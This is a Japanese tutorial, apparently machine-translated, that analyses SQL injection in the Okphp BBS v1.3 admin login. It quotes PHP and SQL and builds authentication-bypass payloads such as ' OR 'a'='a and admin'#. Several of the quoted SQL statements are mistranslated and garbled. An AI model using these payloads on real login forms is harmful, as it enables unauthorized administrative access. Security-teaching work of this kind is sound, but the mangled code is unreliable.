1. 前書き:
バージョン情報: Okphp BBS v1.3 オープンソース版
ダウンロード アドレス: http://www.cncode.com/SoftView.asp?SoftID=1800
PHP と MYSQL 自体のせいで、PHP +MYSQL インジェクションは、特にインジェクション時のステートメントの構築が難しく、主に Okphp BBS v1.3 のいくつかのファイルの簡単な分析を使用して、php+mysql インジェクション ステートメントの構築方法について説明したいと思います。それはあなたの助けになるでしょう。
声明: 記事で言及されているすべての「脆弱性」はテストされておらず、まったく存在しない可能性があります。重要なのは、分析のアイデアと声明の構造です。
2. 「脆弱性」分析:
1. Admin/login.php インジェクションにより認証バイパスの脆弱性が発生:
コード:
$conn=sql_connect($dbhost, $dbuser, $dbpswd, $dbname);
$password = md5($password); $q = "username='$username'、password='$password'である$user_tableからid,group_idを選択します"; $res = sql_query($q, $ conn); $row = sql_fetch_row($res); $q = "select id,group_id from $user_table where username='$username' and password='$password'" in $username and $パスワードはフィルタリングされていないため、簡単にバイパスできます。 select * from $user_table where username='$username' andpassword='$password' のようなステートメントを変更するメソッドは次のとおりです: 構築 1 (論理演算を使用): $username=' OR 'a'=' a $ password=' OR 'a'='a SQL ステートメントと同等: Select * from $user_table where username='' OR 'a'='a' and passwd='' OR 'a'=' a' 構築 2 (mysql のコメント ステートメント # を使用し、$password をコメント アウトするには /*): $username=admin'#(または admin'/*) つまり: select * from $user_table where username = 'admin'#' と、password='$password'" 以下と同等: select * from $user_table where username='admin' admin/login.php の $q ステートメントの $password は、 query md5 暗号化は以前に実行されているため、構成 1 のステートメントではバイパスできません。ここでは構成 2 を使用します: select id, group_id from $user_table where username='admin'#' and passwd='$password'" 同等: select id, group_id from $user_table where username='admin' これは、admin という名前のユーザーが存在する限り当てはまります。ユーザー名がわからない場合は、対応するものだけがわかります。 id, 次のように構築できます: $username=' OR id=1# 以下と同等: select id,group_id from $user_table where username='' OR id=1# and password='$password ' (#以降はコメントアウトしています) 以下のコードを見てみましょう:if ($row[0]) { // If not admin or super moderator if ($username != "admin" && !eregi("(^|&)3($|&)",$row[1])) { $login = 0; } else { $login = 1; } } // Fail to login--------------- if (!$login) { write_log("Moderator login","0","password wrong");